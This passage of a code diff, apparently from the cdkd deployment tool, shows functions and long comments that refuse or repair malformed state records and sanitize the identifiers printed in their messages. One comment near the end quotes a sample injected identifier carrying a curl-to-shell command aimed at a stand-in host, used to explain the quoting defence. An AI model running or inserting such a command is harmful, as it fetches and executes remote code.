+ * `undefined` only — so a hand-edited or truncated record whose `outputs` holds
20745
+ * a string or a list previewed the REMOVAL of outputs that never existed, one
20746
+ * row per character or element, each carrying a character of the record as its
20747
+ * `old:` side, with `cdkd diff --fail` exiting 1 on them.
20748
+ *
20749
+ * AT THE LOAD, for the reason
20750
+ * {@link repairMalformedResourcesForReadOnly}'s own note records and one more
20751
+ * that is specific to this container: `cdkd diff` dereferences the stored bag
20752
+ * BEFORE the walk that fabricates. `resolveTemplateOutputs` asks
20753
+ * `hasOwnProperty.call(storedOutputs, key)` for go-to-k/cdkd#2740's
20754
+ * skipped-output record and for go-to-k/cdkd#1942's literal `Export.Name`
20755
+ * verdict — which ANSWERS TRUE on a string for `'0'` or `'length'`, and THROWS
20756
+ * outright on `null` (`Cannot convert undefined or null to object`). So a guard
20757
+ * written at `computeOutputsDiff` alone leaves a wrong decision, or a raw
20758
+ * `TypeError`, one call above it.
20759
+ *
20760
+ * ABSENT IS EXEMPT AND `null` IS NOT, which is the one place this diverges from
20761
+ * {@link isReadableBag}'s verdict, and the split is measured rather than
20762
+ * stylistic. Both stored-bag lookups named above gate on
20763
+ * `storedOutputs !== undefined` before the `hasOwnProperty` call, so an ABSENT
20764
+ * bag never reaches one; every other consumer on the diff path carries its own
20765
+ * `?? {}` (`mergeNoChangeOutputs`'s `persisted`, `importableOutputKeys`, this
20766
+ * function's own walk). An absent bag is therefore inert, exactly the condition
20767
+ * under which `state.ts`'s `repairRenderedContainers` exempts it — and warning
20768
+ * would be a false positive on a record cdkd itself supports: `cdkd scrub`
20769
+ * round-trips a record with no `outputs` deliberately, refusing to materialize
20770
+ * `{}` over it, and the deploy's failure-path saves write
20771
+ * `outputs: currentState.outputs`, which `JSON.stringify` drops when it is
20772
+ * undefined. A `null` bag is NOT inert — it passes the `!== undefined` gate and
20773
+ * `hasOwnProperty.call(null, ...)` throws — so it is repaired and warned about
20774
+ * like any other unreadable shape.
20775
+ *
20776
+ * That leaves one clause of go-to-k/cdkd#3189's stated floor overridden on
20777
+ * purpose: it asked that a `null` bag "diff exactly as it does today and say
20778
+ * nothing", and diffing exactly as it does today means THROWING. Recorded on
20779
+ * the issue rather than silently traded.
20780
+ *
20781
+ * Mutates in place and returns whether it repaired anything; the caller warns
20782
+ * on `true` with {@link malformedOutputsWarning}. Read-only commands ONLY, for
20783
+ * the reason {@link refuseMalformedState} gives — a bag laundered into a
20784
+ * well-formed empty one is permanent, and for `outputs` it would also take the
20785
+ * exports index with it on the next write.
20786
+ */
20787
+ function repairMalformedOutputsForReadOnly(state) {
20788
+ if (hasReadableOutputs(state)) return false;
20789
+ state.outputs = {};
20790
+ return true;
20791
+ }
20792
+ /**
20793
+ * The warning a caller of {@link repairMalformedOutputsForReadOnly} emits.
20794
+ *
20795
+ * Deliberately neither {@link malformedResourcesWarning}'s text nor
20796
+ * {@link malformedRenderedContainersWarning}'s, because the CONSEQUENCE of
20797
+ * continuing empty differs from both. The resources text forbids
20798
+ * `cdkd deploy` / `cdkd destroy` because an unreadable resource MAP is
20799
+ * indistinguishable from an empty stack; the resource set is intact here. The
20800
+ * rendered-containers text says the view "shows no rows there" — true of a
20801
+ * renderer, false of a diff, which does not go quiet on an empty stored bag but
20802
+ * reports every resolved output as an `ADD`. Saying so is the point: an
20803
+ * operator who reads `ADD` rows for outputs the stack already has needs to know
20804
+ * the comparison lost its left-hand side.
20805
+ *
20806
+ * Identifiers are sanitized and then shell-quoted and the command is emitted
20807
+ * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
20808
+ */
20809
+ function malformedOutputsWarning(stackName, region) {
20810
+ const stack = safeIdentifier(stackName);
20811
+ const reg = safeIdentifier(region);
20812
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
20813
+ }
20814
+ /**
20815
+ * For a command that can WRITE state: refuse the record by name instead of
20816
+ * repairing it.
20817
+ *
20818
+ * Repairing is actively DANGEROUS here, and the PR that introduced this module
20819
+ * shipped that danger for one round before its security review caught it.
20820
+ * `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
20821
+ * change alone satisfies — so a record holding `"resources": null` and a
20822
+ * plaintext secret in `outputs` would be scrubbed, and then saved back with a
20823
+ * repaired, WELL-FORMED `resources: {}`. The malformed record is the only
20824
+ * signal that anything is wrong; laundering it into a legitimate-looking empty
20825
+ * one is permanent and silent. The next `cdkd deploy` then reads zero resources
20826
+ * and CREATES the whole stack a second time, and the next `cdkd destroy`
20827
+ * deletes nothing and orphans every live resource — and the one-shot warning
20828
+ * that would have said so is long gone, quite possibly for a different
20829
+ * operator. `cdkd import --force` launders it the same way.
20830
+ *
20831
+ * Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
20832
+ * this names the stack, the region, the defect and the remedy, and exits on a
20833
+ * code rather than on a stack trace.
20834
+ */
20835
+ function refuseMalformedState(state, stackName, region) {
20836
+ if (hasReadableResources(state)) return;
20837
+ throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
20838
+ }
20839
+ /**
20840
+ * The `outputs` half of {@link malformedStateRefusalMessage}, for the same
20841
+ * reason that one is exported separately from the throw: `cdkd scrub`'s exit
20842
+ * `1` is spoken for and it raises its own exit-2 class around this text.
20843
+ *
20844
+ * A DIFFERENT text from the `resources` refusal because the consequence of
20845
+ * continuing differs, the same way the three warnings in this module differ. The
20846
+ * `resources` message forbids `cdkd deploy` / `cdkd destroy` because an
20847
+ * unreadable resource MAP is indistinguishable from an empty stack; the resource
20848
+ * set is intact here. What is at stake instead is the SHARED exports index:
20849
+ * `cdkd/_index/<region>/exports.json` is rebuilt from these bags, and a string
20850
+ * bag published one fabricated export per character into the namespace every
20851
+ * other stack's `Fn::ImportValue` binds against.
20852
+ *
20853
+ * Identifiers are sanitized and THEN shell-quoted and the command is emitted
20854
+ * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
20855
+ */
20856
+ function malformedOutputsRefusalMessage(stackName, region) {
20857
+ const stack = safeIdentifier(stackName);
20858
+ const reg = safeIdentifier(region);
20859
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command can WRITE state, so it refuses rather than continuing: it REBUILDS the bag before saving, and 'Object.entries' walks a string or a list as readily as a map, so a six-character value would be saved back as a well-formed six-key map (a null one as an empty map). That replaces the only signal anything is wrong with a legitimate-looking record, permanently — and the next deploy republishes it into the shared exports index every other stack's Fn::ImportValue resolves against. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
20860
+ }
20861
+ /**
20862
+ * The line `ExportIndexStore`'s rebuild emits for a producer record whose
20863
+ * export set it could not read (issue go-to-k/cdkd#3192) — `outputs` not a
20864
+ * plain object, or `exportNames` present and not an array.
20865
+ *
20866
+ * A THIRD outputs text rather than {@link malformedOutputsWarning} because the
20867
+ * consequence is again different, which is the rule the two above already
20868
+ * follow. That one describes a DIFF continuing with an empty left-hand side.
20869
+ * This describes a record CONTRIBUTING NOTHING to a shared, region-wide index
20870
+ * other stacks resolve against — so the symptom a reader will actually meet is
20871
+ * a later `Fn::ImportValue` failing in a DIFFERENT stack, naming the consumer
20872
+ * and not this record. Saying which producer dropped out is the whole value of
20873
+ * the line.
20874
+ *
20875
+ * It says the rebuild CONTINUES, because it does: refusing would take every
20876
+ * other producer in the region down with it, and the index is best-effort by
20877
+ * design.
20878
+ *
20879
+ * Identifiers are sanitized and THEN shell-quoted and the command is emitted
20880
+ * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
20881
+ */
20882
+ function malformedExportSourceWarning(stackName, region) {
20883
+ const stack = safeIdentifier(stackName);
20884
+ const reg = safeIdentifier(region);
20885
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map or 'exportNames' list — the record is malformed or truncated. It contributes NO exports to this region's index, which is not the same as the stack exporting none: an Fn::ImportValue of a name this stack really publishes will fail in the CONSUMER stack, naming that stack rather than this record. Continuing with the other producers — enumerating a string or a list here would instead publish one FABRICATED export per character or element. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
20886
+ }
20887
+ /**
20888
+ * The line a READ-ONLY command emits when a record's `exportNames` FIELD could
20889
+ * not be used (go-to-k/cdkd#3192 review) — present and not an array, or an
20890
+ * array with no usable name in it.
20891
+ *
20892
+ * Why a message at all, when the predicate already fails closed: before this
20893
+ * class was guarded, `cdkd diff` over such a record died with
20894
+ * `TypeError: state.exportNames.filter is not a function`. Failing closed
20895
+ * inside `importableOutputKeys` is right — it is a pure predicate reached from
20896
+ * five commands and holds no stack identity — but silently replacing a LOUD
20897
+ * wrong answer with a QUIET one is its own regression, and `cdkd diff` is
20898
+ * exactly the caller that DOES hold the identity. Without this it warned about
20899
+ * a damaged `outputs` bag on one line and said nothing about the damaged
20900
+ * `exportNames` on the same record.
20901
+ *
20902
+ * Deliberately NOT {@link malformedOutputsWarning}'s text: that one is about
20903
+ * the BAG, and the consequence differs. An unusable export SET does not lose
20904
+ * the comparison's left-hand side — every stored key is still diffed — it
20905
+ * makes the preview report no key as an export, so a row that would carry
20906
+ * `[export]` renders without it.
20907
+ *
20908
+ * Identifiers are sanitized and THEN shell-quoted and the command is emitted
20909
+ * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
20910
+ */
20911
+ function malformedExportNamesWarning(stackName, region) {
20912
+ const stack = safeIdentifier(stackName);
20913
+ const reg = safeIdentifier(region);
20914
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has an unusable 'exportNames' list — the record is malformed or truncated. It is read as an EMPTY export set, which is not the same as the record holding one: no stored key is reported as an export, so a row that should carry an '[export]' tag renders without it. Reading it as UNKNOWN instead would be worse — that falls back to the pre-v9 rule where every output name is importable. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
20915
+ }
20916
+ /**
20917
+ * For a command that can WRITE state: refuse a record whose `outputs` bag
20918
+ * cannot be read, instead of rebuilding it (issue go-to-k/cdkd#3192).
20919
+ *
20920
+ * The SIBLING of {@link refuseMalformedState}, and deliberately a second call
20921
+ * rather than a widening of that one. A record can be malformed in either
20922
+ * container alone, the two carry different consequences, and the refusal a user
20923
+ * sees must name the container that is actually broken — a `resources` message
20924
+ * printed over an intact resource map tells them not to run `cdkd deploy` for a
20925
+ * reason that does not hold.
20926
+ *
20927
+ * Why REFUSE and not {@link repairMalformedOutputsForReadOnly}, which is the
20928
+ * opposite answer for the same container one function up: repairing the bag and
20929
+ * then saving it IS the laundering this is here to stop. Measured, not
20930
+ * reasoned — `rewriteResourceReferences` turns `outputs: 'abcdef'` into
20931
+ * `{"0":"a",…,"5":"f"}` and `cdkd orphan` saves that; `cdkd scrub`'s
20932
+ * `redactUnaccountedOutputs` spreads the same string into a map and its
20933
+ * `outputsChanged` compare then satisfies the `recordsChanged > 0` write gate;
20934
+ * `cdkd import` carries a `null` bag through `?? {}`. Each one rewrites a
20935
+ * damaged record into a well-formed one and the evidence is gone.
20936
+ *
20937
+ * CALL IT AT THE LOAD, beside {@link refuseMalformedState} and above the first
20938
+ * expression that reads the bag — the placement rule
20939
+ * {@link repairMalformedResourcesForReadOnly}'s note records, for the reason it
20940
+ * records: a guard written at the rebuild leaves every earlier dereference in
20941
+ * front of it.
20942
+ */
20943
+ function refuseMalformedOutputs(state, stackName, region) {
20944
+ if (hasReadableOutputs(state)) return;
20945
+ throw new CdkdError(malformedOutputsRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
20946
+ }
20947
+ /**
20948
+ * The DESTROY refusal text (issue
20949
+ * [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
20950
+ *
20951
+ * A FOURTH outputs text rather than {@link malformedOutputsRefusalMessage},
20952
+ * for the reason every text in this module is its own: that one says the
20953
+ * command "REBUILDS the bag before saving", which is FALSE here. A destroy
20954
+ * never rebuilds the bag — its incremental preserve-writes CLEAR `outputs`
20955
+ * outright. What it does with the bag instead is DECIDE, and the decision is
20956
+ * the strong-reference pre-flight: `state.outputs && Object.keys(...).length >
20957
+ * 0` asks "might this stack be a producer?", and only a positive answer runs
20958
+ * the cross-stack scan that refuses to delete an exporter while an importer
20959
+ * exists.
20960
+ *
20961
+ * Both directions of that question are wrong on a damaged bag, which is why
20962
+ * repairing is not available here. A STRING or a LIST answers YES for the
20963
+ * wrong reason — `Object.keys('abcdef')` is six fabricated names — and a
20964
+ * `null`, a number or a boolean answers NO, so the scan is SKIPPED and the
20965
+ * destroy deletes a producer other stacks still `Fn::ImportValue` from.
20966
+ * Reading the bag as empty (the read-only repair) IS that second answer, so
20967
+ * the only answer that fabricates nothing and skips no protection is to stop.
20968
+ *
20969
+ * Identifiers are sanitized and THEN shell-quoted and the command is emitted
20970
+ * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
20971
+ */
20972
+ function malformedDestroyOutputsRefusalMessage(stackName, region) {
20973
+ const stack = safeIdentifier(stackName);
20974
+ const reg = safeIdentifier(region);
20975
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command DELETES state, so it refuses rather than continuing: it reads this bag to decide whether the stack might export anything, and that decision gates the cross-stack check that refuses to delete a producer another stack still imports from. A string or a list invents one export name per character or element; a null, a number or a boolean reads as 'exports nothing' and SKIPS the check entirely, deleting the record while consumers still resolve against it. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
20976
+ }
20977
+ /**
20978
+ * For `cdkd destroy` / `cdkd state destroy`: refuse a record whose `outputs`
20979
+ * bag cannot be read (issue
20980
+ * [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
20981
+ *
20982
+ * A SEPARATE call from {@link refuseMalformedOutputs} rather than a flag on
20983
+ * it, for the same reason {@link refuseMalformedOutputs} is separate from
20984
+ * {@link refuseMalformedState}: the refusal a user sees must describe what
20985
+ * THIS command would have done with the bag, and the two consequences are
20986
+ * different — see {@link malformedDestroyOutputsRefusalMessage}.
20987
+ *
20988
+ * CALL IT AT THE TOP OF THE DESTROY, above the strong-reference decision it
20989
+ * protects. The placement rule is
20990
+ * {@link repairMalformedResourcesForReadOnly}'s and applies unchanged.
20991
+ */
20992
+ function refuseMalformedOutputsForDestroy(state, stackName, region) {
20993
+ if (hasReadableOutputs(state)) return;
20994
+ throw markNonRetryable(new CdkdError(malformedDestroyOutputsRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED));
20995
+ }
20996
+ /**
20997
+ * The NESTED-STACK refusal text (issue
20998
+ * [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
20999
+ *
21000
+ * A FIFTH text, and the one whose damaged record and saved record are
21001
+ * DIFFERENT stacks. `NestedStackProvider.readChildOutputsAsAttributes` reads
21002
+ * the CHILD's persisted bag and rebuilds it into the PARENT's
21003
+ * `Outputs.<Key>` attributes; the parent's deploy then persists those
21004
+ * attributes into the parent's own record, where every `Fn::GetAtt` against
21005
+ * the nested stack resolves them — into live AWS calls. So a six-character
21006
+ * child bag becomes six fabricated parent attributes, and
21007
+ * {@link malformedOutputsRefusalMessage}'s "saved back as a well-formed
21008
+ * six-key map ... republished into the shared exports index" would name the
21009
+ * wrong record and the wrong blast radius.
21010
+ *
21011
+ * Identifiers are sanitized and THEN shell-quoted and the command is emitted
21012
+ * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
21013
+ */
21014
+ function malformedNestedChildOutputsRefusalMessage(childStackName, region) {
21015
+ const stack = safeIdentifier(childStackName);
21016
+ const reg = safeIdentifier(region);
21017
+ return `State for nested stack child ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. The parent's 'Outputs.<Key>' attributes are REBUILT from this bag and persisted into the PARENT's record, and 'Object.entries' walks a string or a list as readily as a map — so a six-character value would become six fabricated parent attributes that every Fn::GetAtt against this nested stack then resolves into live AWS calls. The deploy refuses rather than fabricating them. Repair or remove the child's record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21018
+ }
21019
+ /**
21020
+ * For the nested-stack provider: refuse a CHILD record whose `outputs` bag
21021
+ * cannot be read (issue [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
21022
+ *
21023
+ * The provider itself calls no `saveState`, and that is why this is a refusal
21024
+ * rather than a repair anyway: what it returns becomes the parent's
21025
+ * `ResourceState.attributes`, which the parent's deploy engine persists. Being
21026
+ * write-capable THROUGH A CALLER is the same hazard as writing directly, and
21027
+ * repairing here would put a well-formed fabricated attribute set into the
21028
+ * parent's record with nothing left to say the child was damaged.
21029
+ */
21030
+ function refuseMalformedNestedChildOutputs(state, childStackName, region) {
21031
+ if (hasReadableOutputs(state)) return;
21032
+ throw markNonRetryable(new CdkdError(malformedNestedChildOutputsRefusalMessage(childStackName, region), STATE_RESOURCES_MALFORMED));
21033
+ }
21034
+ /**
21035
+ * The warning the `cdkd local *` commands emit for a record whose `outputs`
21036
+ * bag they had to read as EMPTY (issue
21037
+ * [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
21038
+ *
21039
+ * A SIXTH text, and the only one on this container for a READ-ONLY caller
21040
+ * other than {@link malformedOutputsWarning}. It is not that one because the
21041
+ * consequence differs the same way every text in this module differs: that one
21042
+ * describes a DIFF continuing with an empty left-hand side and reporting every
21043
+ * resolved output as an `ADD`. A local run reports no rows at all — it
21044
+ * SUBSTITUTES, so the visible effect is an environment variable or a
21045
+ * `Fn::GetStackOutput` / `Fn::ImportValue` reference that resolves to nothing
21046
+ * and is dropped with a per-key warning, which is what "the record holds no
21047
+ * outputs" also looks like.
21048
+ *
21049
+ * TWO call sites share it, deliberately: `S3LocalStateProvider.load` reading
21050
+ * the TARGET stack's record, and `buildCrossStackResolver`'s
21051
+ * `Fn::GetStackOutput` arm reading a PRODUCER's. The record named is whichever
21052
+ * one is damaged, and the consequence is identical — which is why one text is
21053
+ * right here and a second spelling would only drift.
21054
+ *
21055
+ * Read-only is a property of these callers rather than of the command:
21056
+ * `cdkd local` writes no `state.json`. It CAN write one DERIVED key —
21057
+ * `ExportIndexStore.load` rebuilds and PUTs `cdkd/_index/<region>/exports.json`
21058
+ * on a miss — and that write is already fail-closed and warned about by
21059
+ * `hasReadableExportSet` / {@link malformedExportSourceWarning}, so nothing
21060
+ * here can launder a record.
21061
+ *
21062
+ * Identifiers are sanitized and THEN shell-quoted and the command is emitted
21063
+ * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
21064
+ */
21065
+ function malformedLocalOutputsWarning(stackName, region) {
21066
+ const stack = safeIdentifier(stackName);
21067
+ const reg = safeIdentifier(region);
21068
+ return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so reading it would hand this local run one FABRICATED output per character or element. Continuing with it EMPTY: every reference to an output of this record resolves to nothing and is dropped, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21069
+ }
21070
+ /** How many logical ids a `properties` message names before it says "and N more". */
21071
+ const NAMED_UNREADABLE_PROPERTY_BAGS = 5;
21072
+ /**
21073
+ * The `State for '<stack>' ('<region>')` opening of a `properties` message,
21074
+ * and the matching `--stack-region` flag on its remedy command.
21075
+ *
21076
+ * **BOTH are optional, and an ABSENT identity is not a degraded case — it is
21077
+ * the only honest one for a caller that holds no TRUSTED identity.**
21078
+ * `src/analyzer/diff-calculator.ts` is exactly that caller: it receives a
21079
+ * `StackState` and nothing else, and `parseStateBody` validates neither
21080
+ * `stackName` nor `region`, so the record being declared malformed would be
21081
+ * naming ITSELF. An attacker holding `s3:PutObject` on one stack's key could
21082
+ * then plant `"stackName": "prod-payments"` in a `dev` record and have the
21083
+ * refusal hand the operator a pasteable `cdkd state show 'prod-payments'
21084
+ * --stack-region '...'` — a destructive instruction aimed at a healthy record,
21085
+ * while the damaged one goes unnamed (review of go-to-k/cdkd#3191). Every
21086
+ * other refusal in this module takes the CALLER's resolved identity, and this
21087
+ * one drops the clause instead rather than inventing or borrowing one.
21088
+ *
21089
+ * `src/cli/commands/diff-recursive.ts` DOES hold a trusted pair — the
21090
+ * `stackName` / `region` its own load was keyed on — so the read-only warning
21091
+ * passes them and the asymmetry is the point rather than an oversight. A later
21092
+ * lane that threads the trusted pair into `calculateDiff` passes it here with
21093
+ * no signature change.
21094
+ *
21095
+ * A region may also be absent on a v1 record, which predates the
21096
+ * region-prefixed key layout. A placeholder would put a `--stack-region` into
21097
+ * a pasted command that selects no record at all, so it is dropped for the
21098
+ * same reason — the call go-to-k/cdkd#3226 makes for `malformedStateDetail`.
21099
+ */
21100
+ function stackClause(stackName, region) {
21101
+ if (stackName === void 0) return "The state record this command loaded";
21102
+ const where = region === void 0 ? "" : ` (${shellQuote(safeIdentifier(region))})`;
21103
+ return `State for ${shellQuote(safeIdentifier(stackName))}${where}`;
21104
+ }
21105
+ /** The remedy command {@link stackClause}'s message ends on. */
21106
+ function inspectCommand(stackName, region) {
21107
+ if (stackName === void 0) return "cdkd state show <stack> --stack-region <region> --json";
21108
+ const flag = region === void 0 ? "" : ` --stack-region ${shellQuote(safeIdentifier(region))}`;
21109
+ return `cdkd state show ${shellQuote(safeIdentifier(stackName))}${flag} --json`;
21110
+ }
21111
+ /**
21112
+ * The logical ids whose resource record carries a `properties` bag that cannot
21113
+ * be read as a map (issue
21114
+ * [#3191](https://github.com/go-to-k/cdkd/issues/3191)).
21115
+ *
21116
+ * A THIRD container, on the ENTRY rather than on the record root, and it is a
21117
+ * separate predicate from {@link hasReadableResources} for the reason every
21118
+ * split in this module is: the CONSEQUENCE differs. An unreadable `resources`
21119
+ * map reads as an empty STACK; an unreadable `properties` bag reads as a
21120
+ * resource whose every declared property is MISSING, which
21121
+ * `src/analyzer/diff-calculator.ts` turns into a property-change set and, for
21122
+ * a create-only property, into a REPLACEMENT of the live resource.
21123
+ *
21124
+ * `undefined` is NOT exempt here, unlike in {@link hasReadableOutputs}. That
21125
+ * exemption exists because cdkd itself writes records with no `outputs` key —
21126
+ * `JSON.stringify` drops an `undefined` field on the deploy's failure-path
21127
+ * saves. Nothing writes a resource record with no `properties`: every writer
21128
+ * in `src/` assigns an object (`cdkd import` spells it `Properties ?? {}`),
21129
+ * `JSON.stringify` never drops a `{}`, and the field is REQUIRED by
21130
+ * `ResourceState`. An absent bag is therefore a hand edit or a truncation, and
21131
+ * it is one of the two shapes that used to die on a bare `TypeError` naming no
21132
+ * stack, no key and no remedy (`Cannot convert undefined or null to object`).
21133
+ *
21134
+ * An entry that is not a readable OBJECT is SKIPPED rather than named, so this
21135
+ * verdict is ORDER-INDEPENDENT with respect to the entry-level guard
21136
+ * go-to-k/cdkd#3226 adds: a `null` entry has no `properties` to test, and
21137
+ * reading one off a string entry would name a per-character defect that is
21138
+ * really the entry's. Likewise a `resources` bag that is not readable at all
21139
+ * yields `[]` here rather than ids invented from a string's characters — that
21140
+ * class is {@link hasReadableResources}'s to report. What a caller must not do
21141
+ * is take only this one.
21142
+ */
21143
+ function unreadableResourcePropertyBags(state) {
21144
+ if (!hasReadableResources(state)) return [];
21145
+ return Object.entries(state.resources).filter(([, entry]) => isReadableBag(entry) && !isReadableBag(entry.properties)).map(([logicalId]) => logicalId);
21146
+ }
21147
+ /**
21148
+ * For a command that can WRITE state — `cdkd deploy` — refuse the record
21149
+ * naming the resources whose `properties` bag could not be read (issue
21150
+ * [#3191](https://github.com/go-to-k/cdkd/issues/3191)).
21151
+ *
21152
+ * **REFUSE, and repairing to `{}` is not the safe alternative here — it is the
21153
+ * SAME outcome.** That is the measurement the issue asked for, and it is what
21154
+ * settles the contract rather than the write-capable rule alone. Driven
21155
+ * through the real `DiffCalculator` against an `AWS::S3::Bucket` declaring
21156
+ * `BucketName`, a stored `properties` of `"abcdef"`, `[]` and `5` each
21157
+ * produced a property change carrying `requiresReplacement: true` — and `[]`
21158
+ * and `5` enumerate no keys, so they ARE the repaired-to-empty case. A repair
21159
+ * would launder a torn record into a silent REPLACE of a live resource, which
21160
+ * is the data loss the guard exists to prevent; only a refusal closes it.
21161
+ *
21162
+ * The cost is stated rather than argued away: a deploy over ONE torn record
21163
+ * aborts the whole run, including the stacks and resources that are fine.
21164
+ * That is the right trade against replacing a resource nobody asked to
21165
+ * replace, and it is paid before anything irreversible: the refusal is raised
21166
+ * from the diff, so nothing is provisioned and no state is written for the
21167
+ * stack, and the deploy's lock is released by its own `finally`. NOT "before
21168
+ * any provider call" — that claim is false and was corrected in review:
21169
+ * `DeployEngine.kickOffAutoRefreshObservedProperties` fires fire-and-forget
21170
+ * `provider.readCurrentState` READS earlier in the same run. They persist
21171
+ * nothing, because the save they would be drained into never happens.
21172
+ *
21173
+ * The identity in the message is the CALLER's, never the record's — see
21174
+ * {@link stackClause}, where an absent identity is the honest case rather than
21175
+ * a degraded one.
21176
+ *
21177
+ * Deliberately NOT folded into {@link refuseMalformedState}, for the reason
21178
+ * {@link unreadableResourcePropertyBags} gives: that predicate answers a
21179
+ * question about the record ROOT, and its four callers (`cdkd scrub`,
21180
+ * `import`, `orphan`, `rollback`) have made no decision about this one. Three
21181
+ * of them do not compare properties at all, and `cdkd rollback` replays a
21182
+ * journal rather than diffing, so an unrelated broken bag would stop the
21183
+ * command documented as the way to UNWIND a stack whose state is already
21184
+ * suspect. This rule is OPT-IN, taken by the flow that COMPARES the bag.
21185
+ */
21186
+ function refuseMalformedResourceProperties(state, stackName, region) {
21187
+ const unreadable = unreadableResourcePropertyBags(state);
21188
+ if (unreadable.length === 0) return;
21189
+ throw markNonRetryable(new CdkdError(malformedResourcePropertiesRefusalMessage(stackName, region, unreadable), STATE_RESOURCES_MALFORMED));
21190
+ }
21191
+ /**
21192
+ * For a READ-ONLY command — `cdkd diff` — give each unreadable `properties`
21193
+ * bag an empty map so the command can report on the record, and return the ids
21194
+ * so the caller can warn.
21195
+ *
21196
+ * The read-only twin of {@link refuseMalformedResourceProperties}, and the
21197
+ * WRITE is what makes the difference, not the shape: `cdkd diff` persists
21198
+ * nothing, so it cannot launder the evidence, and previewing the remaining
21199
+ * resources beats aborting the whole preview over one torn bag.
21200
+ *
21201
+ * Repair-to-`{}` rather than a DROP of the whole entry, because an empty bag
21202
+ * IS honest for this container: the entry still names a real `resourceType`
21203
+ * and `physicalId`, so it belongs in the diff as a row.
21204
+ * Dropping it would report the resource as a CREATE, inventing a change the
21205
+ * next deploy does not make.
21206
+ *
21207
+ * What the repair does NOT do is make the preview accurate, which is why the
21208
+ * warning is not optional. The caller says so in
21209
+ * {@link malformedResourcePropertiesWarning}'s terms, which are deliberately
21210
+ * wider than "previewed as an addition": a node whose template is GONE —
21211
+ * `buildDeletedSubtree` diffs a removed nested child against an EMPTY template
21212
+ * — declares nothing, so its rows are DELETEs whose previous side is now the
21213
+ * repaired `{}` rather than what the record holds.
21214
+ *
21215
+ * Call it AFTER {@link repairMalformedResourcesForReadOnly}: an unreadable BAG
21216
+ * has no entries to walk, and the predicate deliberately returns `[]` for one.
21217
+ *
21218
+ * And call it again after anything that SPLICES further records into
21219
+ * `state.resources` — `computeStackDiff`'s rollback-orphan adoption is the one
21220
+ * such site, and its records come straight from `state.orphans[].state`, which
21221
+ * this load never walked (review of go-to-k/cdkd#3191).
21222
+ */
21223
+ function repairMalformedResourcePropertiesForReadOnly(state) {
21224
+ const unreadable = unreadableResourcePropertyBags(state);
21225
+ for (const logicalId of unreadable) state.resources[logicalId].properties = {};
21226
+ return unreadable;
21227
+ }
21228
+ /**
21229
+ * The half the refusal and the warning share: what is wrong and which records.
21230
+ *
21231
+ * ONE spelling rather than two, for the reason {@link malformedStateDetail}
21232
+ * exists beside its own pair — the two texts differ only in what happens NEXT,
21233
+ * and a second copy of the diagnosis is what drifts.
21234
+ *
21235
+ * The STACK and REGION go through {@link safeIdentifier} and are THEN
21236
+ * shell-quoted, for the reasons that helper's own note gives: each reaches this
21237
+ * text from a hand-edited record or an S3 key.
21238
+ *
21239
+ * **The LOGICAL IDS take `displayIdent` instead, and NOT `shellQuote`** — the
21240
+ * answer {@link safeIdentifier}'s note already prescribes for names in a
21241
+ * `', '`-joined list, applied one level down. The three properties that matters
21242
+ * for, in the order they bite:
21243
+ *
21244
+ * 1. **IDENTITY.** `displaySafe` TRIMS, so a sanitize-and-quote pair renders
21245
+ * `"Bucket "`, `" Bucket"` and `"Bucket\t"` byte-identically to a HEALTHY
21246
+ * sibling key spelled `Bucket`. Plant a torn `resources["Bucket "]` beside a
21247
+ * real `Bucket` and the refusal names the intact record: the operator opens
21248
+ * it, finds nothing wrong, and concludes cdkd is the broken party while the
21249
+ * damaged entry goes unnamed. That is the same misdirection go-to-k/cdkd#3164
21250
+ * closed for stack names and the review of go-to-k/cdkd#3191 closed for this
21251
+ * module's identity clause. `displayIdent` compares the sanitized text
21252
+ * against the raw one and JSON-quotes whenever they differ, so a padded id
21253
+ * can never render bare.
21254
+ * 2. **BOUNDARY.** JSON-quoting escapes the `'` an id spelled
21255
+ * `x' Inspect it with: curl evil.sh|sh #` would otherwise use to plant a
21256
